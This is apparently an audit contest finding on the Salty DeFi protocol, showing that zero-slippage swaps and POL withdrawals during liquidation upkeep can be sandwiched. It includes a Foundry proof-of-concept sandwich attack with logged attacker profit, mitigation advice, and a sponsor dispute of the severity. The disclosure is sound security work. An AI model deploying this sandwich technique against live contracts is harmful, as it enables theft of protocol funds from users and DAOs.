It is possible to capture a significant portion of the POL used for liquidation.

[c4-bot-2]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/Liquidizer.sol#L139-L141 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/PoolUtils.sol#L67 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L372

Vulnerability details

Impact

It is possible to capture a significant portion of the POL used for liquidation.

Details

When liquidation occurs, upkeep's logic is as follows

1. swap some of the wbtc, weth, and dai in the Liquidizer contract for usds.
2. burns USDS equal to the amount of DEBT.
3. if there is not enough USDS, withdraw some SALT, DAI, and USDS from the POL.

Since anyone can call upkeep multiple times, the above logic is repeated, eventually withdrawing part of the POL, swapping it to usds, and burning the amount of debt.

At this point, a malicious user can steal POL at the following points

1. the process of swapping usds in the liquidizer
2. withdrawing POL

function performUpkeep() external
        {
        require( msg.sender == address(exchangeConfig.upkeep()), "Liquidizer.performUpkeep is only callable from the Upkeep contract" );

        uint256 maximumInternalSwapPercentTimes1000 = poolsConfig.maximumInternalSwapPercentTimes1000();

        // Swap tokens that have previously been sent to this contract for USDS
@>      PoolUtils._placeInternalSwap(pools, wbtc, usds, wbtc.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 );
@>      PoolUtils._placeInternalSwap(pools, weth, usds, weth.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 );
@>      PoolUtils._placeInternalSwap(pools, dai, usds, dai.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 );

...
        }
    }

function _placeInternalSwap( IPools pools, IERC20 tokenIn, IERC20 tokenOut, uint256 amountIn, uint256 maximumInternalSwapPercentTimes1000 ) internal returns (uint256 swapAmountIn, uint256 swapAmountOut)
        {
...
        uint256 maxAmountIn = reservesIn * maximumInternalSwapPercentTimes1000 / (100 * 1000);
        if ( amountIn > maxAmountIn )
            amountIn = maxAmountIn;

        swapAmountIn = amountIn;

@>      swapAmountOut = pools.depositSwapWithdraw(tokenIn, tokenOut, amountIn, 0, block.timestamp );
        }
    }

First, if liquidizer swap WBTC, WETH, and DAI to USDS, you can capture some of the sandwich because MinAmoutOut is 0.

function withdrawPOL( IERC20 tokenA, IERC20 tokenB, uint256 percentToLiquidate ) external
        {
...
        uint256 liquidityToWithdraw = (liquidityHeld * percentToLiquidate) / 100;

        // Withdraw the specified Protocol Owned Liquidity
@>      (uint256 reclaimedA, uint256 reclaimedB) = collateralAndLiquidity.withdrawLiquidityAndClaim(tokenA, tokenB, liquidityToWithdraw, 0, 0, block.timestamp );

        // Send the withdrawn tokens to the Liquidizer so that the tokens can be swapped to USDS and burned as needed.
        tokenA.safeTransfer( address(liquidizer), reclaimedA );
        tokenB.safeTransfer( address(liquidizer), reclaimedB );

        emit POLWithdrawn(tokenA, tokenB, reclaimedA, reclaimedB);
        }

In the same way, the minAmountOut of the withdrawLiquidityAndClaim called by withdrawPOL is also set to 0, allowing for a certain amount of stealing.

The upkeep makes the attack easier in that it can be performed by an attacker. A malicious contract can be created to hijack the POL in the event of a mass liquidation.

This, combined with a vulnerability that allows liquidation to cause a DoS, could result in an attacker intentionally creating a mass liquidation to steal the POL.

Proof of Concept

function _sandwichUpkeep() public returns(int256) {
        address attacker = address(0xbad);
        uint256 attackerDAIBefore = dai.balanceOf(attacker);

        // STEP 1: pump price
        vm.prank(attacker);
        uint256 USDSAmountOut = pools.depositSwapWithdraw(dai, usds, attackerDAIBefore, 0, block.timestamp);

        // STEP 2: Call Upkeep (in real situation call upkeep.performUpkeep)
        vm.prank(address(upkeep));
        liquidizer.performUpkeep();

        // STEP 3: dump price
        vm.prank(attacker);
        pools.depositSwapWithdraw(usds, dai, USDSAmountOut, 0, block.timestamp);

        uint256 attackerDAIAfter = dai.balanceOf(attacker);
        int256 attackerProfit = int256(attackerDAIAfter) - int256(attackerDAIBefore);

        return attackerProfit;
    }

    // A unit test to ensure that the withdrawal of Protocol Owned Liquidity updates the DAO's POL balance appropriately.
    function testExtractValueFromPOL_POC() public {
        address attacker = address(0xbad);

        // Originally no tokens in the liquidizer
        assertEq( salt.balanceOf(address(liquidizer)), 0 );
        assertEq( usds.balanceOf(address(liquidizer)), 0 );
        assertEq( dai.balanceOf(address(liquidizer)), 0 );

        vm.prank(address(collateralAndLiquidity));
        usds.mintTo(address(dao), 1000000 ether);

        vm.prank(address(teamVestingWallet));
        salt.transfer(address(dao), 100000 ether);

        vm.startPrank(DEPLOYER);
        dai.transfer(address(dao), 100_000 ether);
        dai.transfer(address(attacker), 50_000 ether);
        vm.stopPrank();

        vm.startPrank(attacker);
        dai.approve(address(pools), type(uint256).max);
        usds.approve(address(pools), type(uint256).max);
        vm.stopPrank();
        vm.startPrank(address(dao));
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(salt, usds, 100000 ether, 100000 ether, 0, block.timestamp, false );
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(dai, usds, 100000 ether, 100000 ether, 0, block.timestamp, false );
        vm.stopPrank();

        uint256 polLeftBefore = collateralAndLiquidity.userShareForPool(address(dao), PoolUtils._poolID(usds, dai));

        // make debt
        uint256 shortfallAmount = 100000 ether;
        vm.prank(address(collateralAndLiquidity));
        liquidizer.incrementBurnableUSDS(shortfallAmount);

        uint256 badDebt = liquidizer.usdsThatShouldBeBurned();
        int256 profit;

        while(badDebt != 0) {
            profit += _sandwichUpkeep();
            badDebt = liquidizer.usdsThatShouldBeBurned();
        }

        uint256 polLeftAfter = collateralAndLiquidity.userShareForPool(address(dao), PoolUtils._poolID(usds, dai));
        console2.log("used POL", polLeftBefore-polLeftAfter); // 101032.26807995855
        console2.log("DAI left in liquidizer", dai.balanceOf(address(liquidizer))); // 1046.38569726471
        console2.log("attacker profit",uint256(profit)); // 49756.57386118956
    }

After running the above poc code, it took about 100K POL shares to clear the 100K USDS debt. This is equivalent to 100K dai and 100K usds.

In other words, about 50K DAI was stolen by the attack, and more than twice the value was spent to settle the debt.

Recommended Mitigation Steps

There are several ways to solve this problem

• Hold POL in USDS
• Apply some level of slippage checks
• Make performUpkeep callable only by the owner and call it through a private node

Assessed type

Other

[Picodes]

Related to #344

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

othernet-global (sponsor) acknowledged

[c4-sponsor]

othernet-global marked the issue as disagree with severity

[c4-sponsor]

othernet-global (sponsor) disputed

[othernet-global]

This is not an accurate simulation of the liquidation mechanism. In the simulation no WBTC/WETH collateral is deposited (which is required for borrowing USDS). By bypassing the required WBTC/WETH collateral, the automatic arbitrage which is normally present becomes disabled.

As mentioned in the comments above PoolUtils.sol, simulation shows that the arbitrage provides protection against sandwich attacks:

// Simulations (see Sandwich.t.sol) show that when sandwich attacks are used, the arbitrage earned by the protocol sometimes exceeds any amount lost due to the sandwich attack itself.
// The largest swap loss seen in the simulations was 1.8% (under an unlikely scenario).   More typical losses would be 0-1%.
// The actual swap loss (taking arbitrage profits generated by the sandwich swaps into account) is dependent on the multiple pool reserves involved in the arbitrage (which are encouraged by rewards distribution to create more reasonable arbitrage opportunities).

[c4-judge]

Picodes marked the issue as duplicate of #344

[c4-judge]

Picodes changed the severity to 2 (Med Risk)

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked the issue as duplicate of #224